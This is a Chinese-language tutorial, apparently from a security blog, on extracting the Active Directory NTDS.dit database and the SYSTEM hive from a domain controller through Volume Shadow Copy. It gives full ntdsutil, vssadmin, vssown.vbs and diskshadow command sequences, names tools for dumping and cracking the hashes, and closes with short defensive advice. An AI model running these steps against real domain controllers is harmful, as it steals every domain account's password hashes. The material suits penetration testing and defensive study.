利用卷影拷贝服务提取ntds.dit
字数 1157 2025-08-05 08:17:55
利用卷影拷贝服务提取NTDS.dit文件技术详解
1. NTDS.dit文件概述
NTDS.dit是Active Directory域服务的核心数据库文件,存储位置为域控制器的%SystemRoot%\NTDS\NTDS.dit。该文件包含:
- 所有域用户账户信息
- 组和组成员关系
- 组策略首选项(GPP)
- 组织单位(OU)结构
- 用户密码哈希值(包括LM和NTLM哈希)
2. NTDS.dit文件结构分析
2.1 主要数据表
NTDS.dit是一个Jet数据库,使用可扩展存储引擎(ESE),包含三个主要表:
-
数据表:
- 存储所有Active Directory对象(用户、组等)
- 采用行(对象实例)和列(属性)结构
- 字段分为固定大小(整数等)和可变大小(字符串等)
- 每个对象限制为8KB(但长属性值可存储在单独页面)
-
链接表:
- 存储链接属性(如用户的MemberOf属性)
- 比数据表小得多
-
SD表:
- 存储对象的安全描述符
- 实现安全描述符的继承机制
2.2 密码哈希加密机制
Active Directory使用三层加密保护密码哈希:
-
第一层(RC4):
- 使用启动密钥(BOOTKEY)解密PEK(密码加密密钥)
- PEK在整个域中相同,但在不同域控制器上使用不同的BOOTKEY加密
-
第二层(RC4):
- 使用PEK解密哈希值的前16字节
-
第三层(DES):
- 使用用户RID生成的密钥进行最终解密
- 与SYSKEY加密类似
3. 提取NTDS.dit的方法
3.1 使用ntdsutil.exe
-
创建卷影副本:
ntdsutil snapshot "activate instance ntds" create quit quit -
挂载卷影副本:
ntdsutil snapshot "mount {GUID}" quit quit -
复制NTDS.dit:
copy C:\$SNAP_XXXXXXXX_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit -
卸载并删除卷影副本:
ntdsutil snapshot "unmount {GUID}" quit quit ntdsutil snapshot "delete {GUID}" quit quit
3.2 使用vssadmin
-
创建卷影副本:
vssadmin create shadow /for=c: -
复制NTDS.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\windows\ntds\ntds.dit c:\ntds.dit -
删除卷影副本:
vssadmin delete shadows /for=c: /quiet
3.3 使用vssown.vbs脚本
-
查找NTDS.dit位置:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters -
启动卷影拷贝服务:
cscript //nologo vssown.vbs /start -
创建卷影副本:
cscript vssown.vbs /create c -
列出并复制NTDS.dit:
cscript vssown.vbs /list copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\windows\NTDS\ntds.dit c:\ntds.dit -
删除卷影副本:
cscript vssown.vbs /delete {GUID}
3.4 使用diskshadow
-
创建包含以下命令的脚本文件(command.txt):
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit delete shadows all list shadows all reset exit -
执行脚本:
diskshadow /s C:\command.txt
4. 提取SYSTEM配置单元
获取NTDS.dit后,需要提取SYSTEM配置单元以获取解密密钥:
reg save hklm\system c:\windows\temp\system.hive
5. 后续处理
获取NTDS.dit和SYSTEM.hive后,可以使用工具如:
- Mimikatz:提取哈希值
- Impacket-secretsdump:解析NTDS.dit
- Hashcat:破解提取的哈希值
6. 防御建议
- 限制对域控制器的物理和远程访问
- 监控卷影拷贝服务的异常使用
- 定期审计域控制器上的可疑活动
- 实施特权账户管理(PAM)解决方案
- 启用Windows Defender攻击面减少规则
注意:本文所述技术仅用于合法安全测试和研究目的,未经授权对系统进行此类操作可能违反法律。